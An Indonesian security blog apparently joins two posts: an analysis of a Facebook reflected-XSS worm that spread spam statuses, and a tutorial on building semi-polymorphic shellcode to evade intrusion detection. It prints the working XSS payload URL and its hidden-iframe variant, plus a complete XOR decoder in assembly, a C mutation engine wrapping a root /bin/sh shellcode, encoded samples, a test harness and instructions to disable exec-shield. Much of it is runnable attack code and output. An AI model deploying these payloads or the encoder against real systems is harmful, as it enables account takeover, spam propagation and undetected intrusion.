Hari ini saya menyadari ada yang
tidak beres dengan status teman-teman facebook saya. Banyak yang
mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali.
Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik
penyebaran status berantai tersebut.
Analisa
Mari kita mulai analisa kita dengan
mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah
url versi pendek yang bila diklik akan melakukan redirect ke url
aslinya, yaitu:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
URL tersebut akan saya pecah menjadi 3 bagian:
-
http://m.facebook.com/connect/prompt_feed.php
-
?display=wap&user_message_prompt=
-
'<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian pertama adalah URL untuk update
status. Bagian kedua adalah query string parameter yang terdiri dari dua
parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah
isi dari parameter user_message_prompt yang merupakan payload javascript
untuk mengubah status secara otomatis.
The Prompt
Sebelum masuk lebih jauh membahas
payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah
status ini. Gambar ini adalah screenshot ketika browser membuka URL:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status

Dari gambar di atas kini kita memahami fungsi dari parameter
user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user
mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi
judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”,
“Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan
mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan
perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya user_message_prompt diisi dengan murni teks saja berupa
instruksi/petunjuk apa yang harus diinputkan user. Bila parameter
user_message_prompt berisi teks murni saja, maka tidak ada yang perlu
dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode
HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<font color=red><h1>Hello!!</h1></font>

Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEdR9ZOBzJ6Ff3NvHw10A_ki5KKc0P5uKylYYWSpfeldX2cWZp4sZqY9EWKKGssrt3_Ves7becxR4hQtCngpK7R-KXUeDWO-XNVwygQfz9Dnrrn_Srxni3s92e3Ron_Czl9mxb-7Ldvww/s320/Hacked.jpg"/>

Bagaimana bila user_message_prompt tidak
hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari
kita coba memasukkan javascript sederhana berikut ini:
<script>prompt("Enter your PIN");</script>

Kita sudah melihat bagaimana
user_message_prompt tidak hanya bisa diisi dengan normal teks, namun
juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser.
Ini adalah vulnerability yang disebut dengan XSS (Cross Site
Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan
dalam URL “dipantulkan” kembali sebagai response HTTP).
The Payload
Dalam contoh sebelumnya kita mencoba
memasukkan javascript sederhana yang hanya menampilkan prompt input
kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir
apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai
yang serius seperti seperti mencuri cookie korban atau take-over
komputer korban dengan mengeksploitasi kelemahan pada browsernya.
Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan
payload apa saja yang dia inginkan seperti mengubah status, mencuri
cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter
single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini?
Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang
membuat url sejenis ini dalam payloadnya selalu ada karakter
single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan
saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh
orang lain memakai single-quote, maka diapun ikut memakai single-quote.
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini
adalah payload untuk mengubah status di facebook secara otomatis:


Onload adalah event yang terjadi bila
suatu halaman web selesai di-load. Baris pertama pada kode di atas
artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis
ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari
dua baris kode sederhana untuk mengubah nilai textarea message dan
melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.

Langkah terakhir adalah memanggil fungsi
submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk
mengubah status secara otomatis, cukup dua langkah saja, mengisi message
dengan isi status, lalu submit, status pun selesai diubah.
Varian Lain dengan IFRAME
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih
berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah
melakukan pengubahan status berulang kali. Salah satu teman facebook
saya menjadi korban freesmsvoip.com sampai berkali-kali.

Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />
Perhatikan pada baris pertama ada tag iframe dengan src yang juga
mengeksploitasi XSS vulnerability pada
m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada
pada halaman depan saja, namun pada setiap halaman di web tersebut.
Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya
kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka
dia akan melakukan update status berkali-kali.
Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com,
serangan memakai iframe bisa dilekatkan pada halaman web yang tampak
normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi
XSS dengan url-shortener, orang akan semakin curiga bila menerima link
yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana.
Menerima url yang dipendekkan kini mirip dengan menerima paket yang
tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url
yang panjang, orang cenderung tidak curiga bila menerima url panjang,
apalagi domainnya tampak seperti situs baik-baik.
0
komentar
Sebelumnya saya minta maaf dulu
karena absen cukup lama menulis di blog ini. Saya terakhir menulis
tentang pembuatan shellcode, untuk local maupun remote exploit.
Seharusnya kali ini saya menulis mengenai cara memakai shellcode itu
dalam exploit, namun ada satu hal yang menarik untuk ditulis sebelum
masuk ke pembahasan exploit, yaitu semi-polymorphic shellcode. Nanti
pada artikel selanjutnya saya akan bahas true-polymorphic shellcode.
Apa itu Polymorphic Shellcode
Secara bahasa polymorphic artinya banyak
bentuk. Polymorphic shellcode adalah shellcode yang mempunyai banyak
bentuk. Dari satu induk shellcode yang sama bisa dilahirkan banyak
sekali shellcode yang berbeda-beda dalam level bit, maksudnya bila
dilihat bit per bit semua shellcode tersebut berbeda total, padahal
semua berasal dari satu induk.
Polymorphic shellcode diperlukan untuk
bisa lolos dari deteksi Intrusion Detection/Prevention System. IDS/IPS
memeriksa paket data yang lewat. Bila paket tersebut mengandung data
yang dianggap berbahaya, maka satpam akan membunyikan alarm atau
mencegah paket tersebut lewat.
Perhatikan ilustrasi berikut ini.
Teroris bernama Bush (bukan nama sebenarnya), sebelumnya pernah berhasil meledakkan sasaran dan membunuh ribuan bayi di Irak, namun kini fotonya sudah diketahui semua orang sehingga dia tidak leluasa lagi melakukan serangan berikutnya.Agar serangan berikutnya berjalan lancar, Bush harus mengubah wajahnya dengan operasi plastik, menumbuhkan kumis, mengubah rambut dsb. Dengan wajah yang berbeda total, maka polisi tidak akan mengenali Bush, dan Bush bisa melakukan serangan dengan lancar.Dalam setiap serangannya Bush harus mengubah wajahnya agar berbeda dari wajahnya pada serangan-serangan sebelumnya.
Begitulah ilustrasi dari polymorphic
shellcode, ketika sebuah shellcode sudah pernah dipakai dan signaturenya
(ciri-ciri) sudah di-blacklist oleh IDS/IPS, maka shellcode tersebut
sudah berkurang efektivitasnya. Bila shellcode yang sama dipakai lagi,
maka IDS/IPS akan dengan mudah mendeteksi dan mencegah serangan itu.
Untuk menipu IDS/IPS maka shellcode
sebelum dipakai dalam exploit harus mengalami mutasi yaitu mengubah
bentuk fisiknya tanpa mengubah fungsinya. Ingat shellcode adalah
kumpulan byte opcode yang merepresentasikan instruksi assembly/bahasa
mesin. Polymorphic shellcode berarti bahwa instruksi assembly bisa
berubah menjadi banyak macam tetapi tidak mengubah fungsi utama dan
hasil akhirnya.
Lho kok bisa? Mudah saja, sebagai contoh
bayangkan bahwa algoritma utamanya adalah formula A+B*2. Kita bisa
mutasi-kan formula itu menjadi banyak bentuk:
- B*2+A
- B+B+A
- B+1+B+A-1
- B*2+B*3+A-B*2-B
Semua mutasi di atas menghasilkan hasil
akhir yang sama persis, walaupun formulanya jauh berbeda. IDS/IPS yang
hanya mem-blacklist “A+B*2″ tidak akan menganggap paket berisi “B+B+A”
atau “B+1+B+A-1″ sebagai paket berbahaya karena tidak ada dalam kamus
blacklistnya, padahal semuanya sama saja hanya bentuknya saja yang
berbeda.
Gambar di atas adalah software untuk
mengubah bentuk wajah dengan mengganti bentuk mata, alis, rambut, kumis
dsb. Semua shellcode bisa di-mutasi menghasilkan shellcode baru yang
berbeda namun tetap dengan fungsi yang sama menggunakan script “Mutation
Engine”. Mutation engine ini bisa dibayangkan mirip dengan gambar di
atas, sebuah software yang mempunyai fasilitas untuk mengubah-ubah
bentuk mata, alis, kumis, hidung untuk membuat wajah baru yang berbeda.
Namun tentu saja mutation engine melakukan mutasi secara otomatis, tanpa
harus menunggu inputan/klik dari pengguna.
Semi Polymorphic Shellcode
Saya akan mulai dengan membuat shellcode
yang sifatnya semi polymorphic. Semi disini berarti shellcode yang
dihasilkan tidak total berbeda antar hasil mutasi dari satu shellcode
yang sama. Masih ada consecutive byte, byte yang berurutan yang bisa
dijadikan ciri khas (signature) dari shellcode tersebut.
Semua polymorphic shellcode dibuat
dengan menggunakan teknik encoding/decoding dengan prosedur decoder
ditempatkan di awal shellcode, hanya bedanya pada semi polymorphic,
prosedur decoder relatif statis, tidak ikut ter-mutasi. Sedangkan pada
true polymorphic shellcode, prosedur/rutin decodernya juga ikut
termutasi sehingga lebih sulit dideteksi IDS/IPS.
Algoritma encode/decode yang dipakai
tidak rumit, hanya menggunakan operasi logika XOR. Sifat dari logika XOR
adalah reversible, jika suatu bilangan di-XOR dua kali dengan kunci
yang sama, maka akan menghasilkan nilai awalnya.
Contoh:
11001 (25) XOR 11100 (28) = 00101 (5) XOR 11100 (28) = 11001 (25)
Kenapa diperlukan decoder? Ingat
shellcode adalah kumpulan byte opcode bahasa mesin, jadi bila shellcode
tersebut di-encode maka byte opcode menjadi opcode yang berbeda atau
menjadi opcode yang tidak dikenal prosesor. Decoder bertugas untuk
mengembalikan byte shellcode yang ter-encode menjadi normal kembali
sehingga bisa dikenal dan dieksekusi prosesor.
Contohnya bila dalam shellcode
mengandung byte opcode \xCD\x80 yang dikenal prosesor sebagai interrupt
no 80 hexa. Dalam proses mutasi, opcode CD80 di-encode dengan XOR 5
menjadi \xC8\x85 yang tidak dikenal oleh prosesor (bukan instruksi yang
valid). Agar shellcode bisa dieksekusi maka decoder harus mengembalikan
\xC8\x85 menjadi normal kembali \xCD\x80.
Gambar di atas memperlihatkan proses
mutasi dari original shellcode menjadi shellcode yang telah termutasi.
Mutation engine di atas menggunakan satu decoder yang sama dan
menghasilkan banyak shellcode sesuai dengan key yang dipakai. Key ini
dipakai untuk encode dan decode menggunakan operasi logika XOR. Setiap
shellcode hasil mutation engine terdiri dari decoder di awal dan
shellcode yang ter-encode.
Menghindari Karakter Terlarang
Umumnya shellcode di-injeksi melalui input program sebagai tipe data
string. Secara internal string adalah array of character yang diakhiri
dengan karakter NULL (‘\0′). Byte NULL tidak boleh ada dalam shellcode
karena bisa membuat shellcode gagal di-injeksi secara penuh. Byte NULL
adalah salah satu yang disebut dengan ‘bad characters’, yaitu karakter
yang terlarang ada dalam shellcode.
Bad characters bisa berbeda-beda, tergantung dari aplikasi yang akan
di-exploit. Bila dalam aplikasi tersebut, keberadaan karakter new line
(\n) dan enter (\r) membuat shellcode gagal terinjeksi dengan sempurna,
maka character itu jangan sampai ada dalam shellcode.
Namun terkadang sulit untuk menghindari adanya karakter terlarang dalam
shellcode. Teknik encoding shellcode ini bisa juga dipakai untuk
menghilangkan karakter terlarang. Jadi teknik ini tidak hanya berguna
untuk menghindari tertangkap IDS/IPS tapi juga membantu menghindari
karakter terlarang.
JMP/CALL GetPC
Instruksi yang pertama dieksekusi adalah
decoder. Decoder ini bertugas untuk melakukan decode dengan operator
XOR menggunakan kunci yang sama pada waktu encoding. Masalahnya adalah
shellcode ini bisa diload di alamat memori berapapun, jadi tidak bisa
di-harcode lokasinya sejak awal dalam rutin decoder. Decoder harus tahu
pada saat dieksekusi (run-time), di mana lokasi memori tempat
penyimpanan shellcode ter-encode.
Teknik mencari lokasi memori dirinya
ketika dieksekusi ini disebut dengan GETPC (get program counter/EIP).
Trik yang biasa dipakai adalah menggunakan instruksi JMP dan CALL.
Decoder akan JMP ke lokasi tepat di atas (sebelum) shellcode yang
ter-encode. Pada lokasi tersebut ada instruksi CALL ke lokasi sesudah
instruksi JUMP tadi. CALL akan mem-push ke dalam stack return address,
yaitu alamat memori instruksi sesudah CALL. Karena lokasi shellcode
ter-encode tepat sesudah instruksi CALL, maka dalam puncak stack akan
berisi alamat memori (EIP/PC) shellcode ter-encode.
Tidak seperti umumnya instruksi CALL
yang diikuti dengan RET, dalam trik ini kita tidak memerlukan instruksi
RET karena kita tidak sedang benar-benar memanggil subroutine.
Instruksi CALL dimanfaatkan untuk mengambil EIP/PC dari instruksi
sesudah CALL.
Gambar di atas menunjukkan alur JMP/CALL
untuk mendapatkan lokasi memori shellcode ter-encode. Pertama-tama
decoder akan JMP ke lokasi point1, yang di sana ada instruksi CALL ke
point2. Tepat di bawah CALL point2 adalah lokasi memori di mana
shellcode ter-encode berada. Jadi ketika CALL dieksekusi lokasi
encoded_shellcode akan di-push ke dalam stack sebagai return address
dari instruksi CALL. Pada point2, terdapat instruksi POP ESI yang
maksudnya adalah mengambl return address instruksi CALL pada point1,
yaitu lokasi memori shellcode ter-encode.
Assembly Decoder
Kita langsung saja buat kode assembly yang melakukan decoding dengan
operasi logika XOR. Kita memanfaatkan teknik GETPC JMP/CALL seperti alur
pada gambar di atas.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | global _start _start: jmp short point1 point2: pop esi ; ESI = sebagai index lokasi byte yang akan di-decode xor ecx,ecx ; ECX = 0 mov cl,0x0 ; ECX = shellcode size decode_sc: xor byte[esi],0x0 ; XOR 1 byte memori pada lokasi yang ditunjuk ESI inc esi ; ESI maju 1 byte, decode byte berikutnya loop decode_sc ; Loop sebanyak ECX (ukuran shellcode) jmp short encoded_sc ; decode selesai, jump and execute shellcode! point1: call point2 ; call, push address of encoded_sc ke stack encoded_sc: ; encoded shellcode di sini |
Proses decoding di atas dilakukan dengan melakukan XOR dalam loop yang
dimulai dari lokasi encoded_sc (yang disimpan di ESI) sebanyak ukuran
encoded shellcode (yang disimpan di ECX). Sebelumnya lokasi encoded_sc
diketahui dengan melakukan trik JMP/CALL GETPC dan lokasi encoded_sc
disimpan di register ESI. Setelah loop selesai, shellcode telah kembali
normal dan siap dieksekusi. Jadi setelah loop, ada instruksi JUMP ke
lokasi encoded_sc.
Sekarang kita akan mengambil opcodenya dengan cara compile, link dan melakukan objdump.
$ nasm -f elf decoderjmpcall.asm $ ld -o decoderjmpcall decoderjmpcall.o $ objdump -d ./decoderjmpcall ./decoderjmpcall: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 0d jmp 804806f <point1> 08048062 <point2>: 8048062: 5e pop %esi 8048063: 31 c9 xor %ecx,%ecx 8048065: b1 00 mov $0x0,%cl 08048067 <decode_sc>: 8048067: 80 36 00 xorb $0x0,(%esi) 804806a: 46 inc %esi 804806b: e2 fa loop 8048067 <decode_sc> 804806d: eb 05 jmp 8048074 <encoded_sc> 0804806f <point1>: 804806f: e8 ee ff ff ff call 8048062 <point2>
Sedikit penjelasan mengenai opcode di atas untuk menambah pengetahuan
assembly. Di awal ada instruksi “JMP point1″. Opcode untuk JMP adalah
0xEB. Perhatikan point1 terletak 13 byte setelah instruksi ini, oleh
karena itu opcodenya adalah “0xEB 0x0D”, yang artinya Jump sejauh 0x0D
hex (13) byte setelah instruksi ini.
Sebagai ilustrasi perhatikan output objdump di atas, instruksi “JMP
point1″ ada di lokasi memori 0×8048060, dan kita tahu instruksi “JMP
point1″ memakan ruang 2 byte (0xEB dan 0x0D), maka tujuan lompatannya
adalah 0×8048060 + 2 + 13 = 0x804806f. Sekali lagi ingat, dihitungnya
dari lokasi sesudah instruksi JMP, yaitu 0×8048062. Kemudian dihitung
0x0D (13 byte) dari lokasi 0×8048062 menjadi 0x804806f.
Sedangkan pada point1, ada instruksi “CALL point2″ yang memakan ruang 5
byte (0xE8 0xEE 0xFF 0xFF 0xFF). 0xE8 adalah opcode untuk CALL,
sedangkan 0xEE 0xFF 0xFF 0xFF dalam notasi little-endian adalah
0xFFFFFFEE yang merupakan representasi bilangan signed integer -18.
Kenapa kok jaraknya -18 ? Perhatikan lagi output objdump di atas. Ingat,
mirip dengan JMP jarak lompatan dihitung dari lokasi sesudah instruksi
CALL. Lokasi memori sesudah instruksi “CALL point2″ adalah 0x804806f+5 =
0×8048074. Kalau kita hitung 18 byte sebelum 0×8048074, maka kita
dapatkan lokasi 0×8048062, yang tidak lain adalah lokasi point2.
Sekarang kita extract opcodenya dan menuliskannya dalam notasi shellcode hexadecimal.
$ objdump -d ./decoderjmpcall|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff"

Pada gambar di atas terlihat opcode dari decoder yang akan kita pakai.
Perhatikan ada dua byte yang berwarna biru, yaitu ukuran shellcode pada
index ke-6 dan kunci XOR pada index ke-9. Nantinya hanya dua byte itu
saja yang berubah dalam setiap mutasi shellcode, byte selain itu selalu
sama oleh karena itu kita tidak mengatakan true-polymorphic tetapi hanya
semi-polymorphic.
Encoder: Mutation Engine
Kini setelah kita memiliki opcode decoder, kita bisa
mulai membuat mutation engine, yaitu script yang melakukan encoding dan
menghasilkan encoded shellcode. Kita membuat dalam bahasa C, dan sebagai
induk kita gunakan shellcode yang kita pakai dalam local exploit di
artikel “belajar membuat shellcode part 1“.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | #include <sys/time.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int getnumber(int quo) { int seed; struct timeval tm; gettimeofday( &tm, NULL ); seed = tm.tv_sec + tm.tv_usec; srandom( seed ); return (random() % quo); } void print_code(char *data) { int i,l=0; for (i = 0; i < strlen(data); ++i) { if (l==0) { printf("\""); } if (l >= 15) { printf("\"\n\""); l = 0; } printf("\\x%02x", ((unsigned char *)data)[i]); ++l; } printf("\";\n\n"); } int main() { char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0" "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; int count; int number = getnumber(200); int badchar = 0; int ldecoder; int lshellcode = strlen(shellcode); char *result; char decoder[] = "\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa" "\xeb\x05\xe8\xee\xff\xff\xff"; decoder[6] += lshellcode; decoder[9] += number; ldecoder = strlen(decoder); do { if(badchar == 1) { number = getnumber(10); decoder[16] += number; badchar = 0; } for(count=0; count < lshellcode; count++) { shellcode[count] = shellcode[count] ^ number; if(shellcode[count] == '\0') { badchar = 1; } } } while(badchar == 1); result = malloc(lshellcode + ldecoder); strcpy(result,decoder); strcat(result,shellcode); printf("Key: %02x\n",number); print_code(result); } |
Sekarang kita coba jalankan dan kita lihat hasil mutasinya sebanyak 3 kali.
$ ./encoder Key: 29 "\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x29\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x18\xe9\x99\x6f\x18\xf2\x18\xe0\xe4\xa9" "\x18\xe9\x79\x41\x06\x06\x5a\x41\x41\x06\x4b\x40\x47\xa0\xca" "\x79\x7a\xa0\xc8\x18\xfb\x99\x22\xe4\xa9"; $ ./encoder Key: 1a "\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a" "\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9" "\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a"; $ ./encoder Key: 45 "\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x45\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x74\x85\xf5\x03\x74\x9e\x74\x8c\x88\xc5" "\x74\x85\x15\x2d\x6a\x6a\x36\x2d\x2d\x6a\x27\x2c\x2b\xcc\xa6" "\x15\x16\xcc\xa4\x74\x97\xf5\x4e\x88\xc5";

Pada gambar di atas, mutation engine menghasilkan 3 mutant dengan 3
kunci yaitu 29h, 1Ah, 45h. Pada bagian decoder, hampir tidak ada
bedanya, yang berbeda hanyalah pada byte yang menyimpan kunci XOR dan
shellcode size.
Kunci XOR disimpan di decoder pada opcode “\x80\x36\x00″, yang berarti
instruksi assembly “xor byte[esi],0×0″. Bila \x00 pada opcode
“\x80\x36\x00″ diganti menjadi x29, maka berarti kita juga memodifikasi
instruksi assemblynya menjadi “xor byte[esi],0×29″. Begitu juga bila
kita mengganti dengan \x1A dan \x45.
Opcode “\xb1\x23″ pada decoder adalah shellcode size, yang dalam
assembly berarti “mov cl,0×23″. Dalam program tersebut kebetulan kita
memakai shellcode berukuran 35 byte (23h). Bila shellcode yang dipakai
ukurannya adalah 50 byte, maka mutation engine akan mengganti menjadi
“\xb1\x32″ yang dalam assembly berarti “mov cl,0×32″.
Sedangkan untuk bagian encoded shellcode yang berwarna ungu, dari 3 kali
dijalankan, mutation engine menghasilkan 3 encoded shellcode yang jauh
berbeda, inilah yang disebut dengan polymorphic. Namun tentu saja karena
decodernya statik, hasilnya tidak true-polymorphic, tapi cukup kita
sebut semi-polymorphic saja.

Sekarang kita coba execute shellcode hasil mutasi dengan kunci 1Ah di
atas. Saya akan gunakan program kecil dalam bahasa C di bawah ini.
1 2 3 4 5 6 7 8 | char shellcode[] = "\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05" "\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a" "\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9" "\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a"; int main(void) { asm("jmp shellcode"); } |
Kita akan debug dengan GDB untuk melihat dalam memori apa yang terjadi sebelum dan sesudah decoder dieksekusi.
Jangan lupa matikan dulu exec-shield dengan cara: echo “0″ > /proc/sys/kernel/exec-shield. Bila anda memakai kernel-PAE maka shellcode ini tidak bisa dieksekusi karena pada kernel-PAE ada fitur NX-bit.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | $ gcc -o execsc execsc.c $ gdb ./execsc (gdb) set disassembly-flavor intel (gdb) x/25i &shellcode 0x8049540 <shellcode>: jmp 0x804954f <shellcode+15> 0x8049542 <shellcode+2>: pop esi 0x8049543 <shellcode+3>: xor ecx,ecx 0x8049545 <shellcode+5>: mov cl,0x23 0x8049547 <shellcode+7>: xor BYTE PTR [esi],0x1a 0x804954a <shellcode+10>: inc esi 0x804954b <shellcode+11>: loop 0x8049547 <shellcode+7> 0x804954d <shellcode+13>: jmp 0x8049554 <shellcode+20> 0x804954f <shellcode+15>: call 0x8049542 <shellcode+2> 0x8049554 <shellcode+20>: sub ebx,edx 0x8049556 <shellcode+22>: stos BYTE PTR es:[edi],al 0x8049557 <shellcode+23>: pop esp 0x8049558 <shellcode+24>: sub eax,ecx 0x804955a <shellcode+26>: sub edx,ebx 0x804955c <shellcode+28>: xlat BYTE PTR ds:[ebx] 0x804955d <shellcode+29>: call 0x3535:0x724ada2b 0x8049564 <shellcode+36>: imul esi,DWORD PTR [edx+114],0x74737835 0x804956b <shellcode+43>: xchg ebx,eax 0x804956c <shellcode+44>: stc 0x804956d <shellcode+45>: dec edx 0x804956e <shellcode+46>: dec ecx 0x804956f <shellcode+47>: xchg ebx,eax 0x8049570 <shellcode+48>: sti 0x8049571 <shellcode+49>: sub ecx,eax 0x8049573 <shellcode+51>: stos BYTE PTR es:[edi],al (gdb) b *0x804954d Breakpoint 4 at 0x804954d |
Di atas adalah hasil disassembly dari shellcode sebelum decoder
dijalankan. Instruksinya bukan instruksi shellcode original. Sekarang
kita coba run dan lihat instruksi assembly hasil decodingnya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | (gdb) run Starting program: /home/admin/overflow/execsc (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x0804954d in shellcode () (gdb) x/25i &shellcode 0x8049540 <shellcode>: jmp 0x804954f <shellcode+15> 0x8049542 <shellcode+2>: pop esi 0x8049543 <shellcode+3>: xor ecx,ecx 0x8049545 <shellcode+5>: mov cl,0x23 0x8049547 <shellcode+7>: xor BYTE PTR [esi],0x1a 0x804954a <shellcode+10>: inc esi 0x804954b <shellcode+11>: loop 0x8049547 <shellcode+7> 0x804954d <shellcode+13>: jmp 0x8049554 <shellcode+20> 0x804954f <shellcode+15>: call 0x8049542 <shellcode+2> 0x8049554 <shellcode+20>: xor eax,eax 0x8049556 <shellcode+22>: mov al,0x46 0x8049558 <shellcode+24>: xor ebx,ebx 0x804955a <shellcode+26>: xor ecx,ecx 0x804955c <shellcode+28>: int 0x80 0x804955e <shellcode+30>: xor eax,eax 0x8049560 <shellcode+32>: push eax 0x8049561 <shellcode+33>: push 0x68732f2f 0x8049566 <shellcode+38>: push 0x6e69622f 0x804956b <shellcode+43>: mov ebx,esp 0x804956d <shellcode+45>: push eax 0x804956e <shellcode+46>: push ebx 0x804956f <shellcode+47>: mov ecx,esp 0x8049571 <shellcode+49>: xor edx,edx 0x8049573 <shellcode+51>: mov al,0xb 0x8049575 <shellcode+53>: int 0x80 |
Karena kita ingin melihat hasil decodingnya, maka kita pasang breakpoint
pada titik shellcode+13 (0x804954d). Pada titik tersebut ada instruksi
“jmp 0×8049554 “, yaitu instruksi untuk mengeksekusi
shellcode yang telah di-decode. Setelah breakpoint dipasang, kita bisa
jalankan program dengan run. Ketika breakpoint dicapai, kita bisa lihat
hasil decodingnya pada lokasi shellcode+20 sampai shellcode+53.
Sebagai contoh perhatikan pada shellcode+20, instruksi sebelum decode
adalah “sub ebx,edx”, instruksi itu bukan instruksi shellcode originial.
Namun setelah decoding selesai pada lokasi tersebut menjadi “xor
eax,eax” yang merupakan instruksi shellcode yang asli. Contoh lain, pada
lokasi shellcode+28 sebelum decode instruksinya adalah “xlat BYTE PTR
ds:[ebx]“, namun setelah decode kembali normal menjadi “int 0×80″.
Tabel di bawah ini menunjukkan beberapa perbedaan antara instruksi
assembly dari shellcode original dengan instruksi assembly yang telah
ter-encode. Kolom “Before Decoding” adalah assembly shellcode yang telah
di-encode, sedangkan kolom “After Decoding” menunjukkan assembly
shellcode yang original setelah decoder selesai bekerja.
| Address | Before Decoding | After Decoding |
|---|---|---|
| shellcode+20 | sub ebx,edx | xor eax,eax |
| shellcode+22 | stos BYTE PTR es:[edi],al | mov al,0×46 |
| shellcode+28 | xlat BYTE PTR ds:[ebx] | int 0×80 |
| shellcode+46 | dec ecx | push ebx |
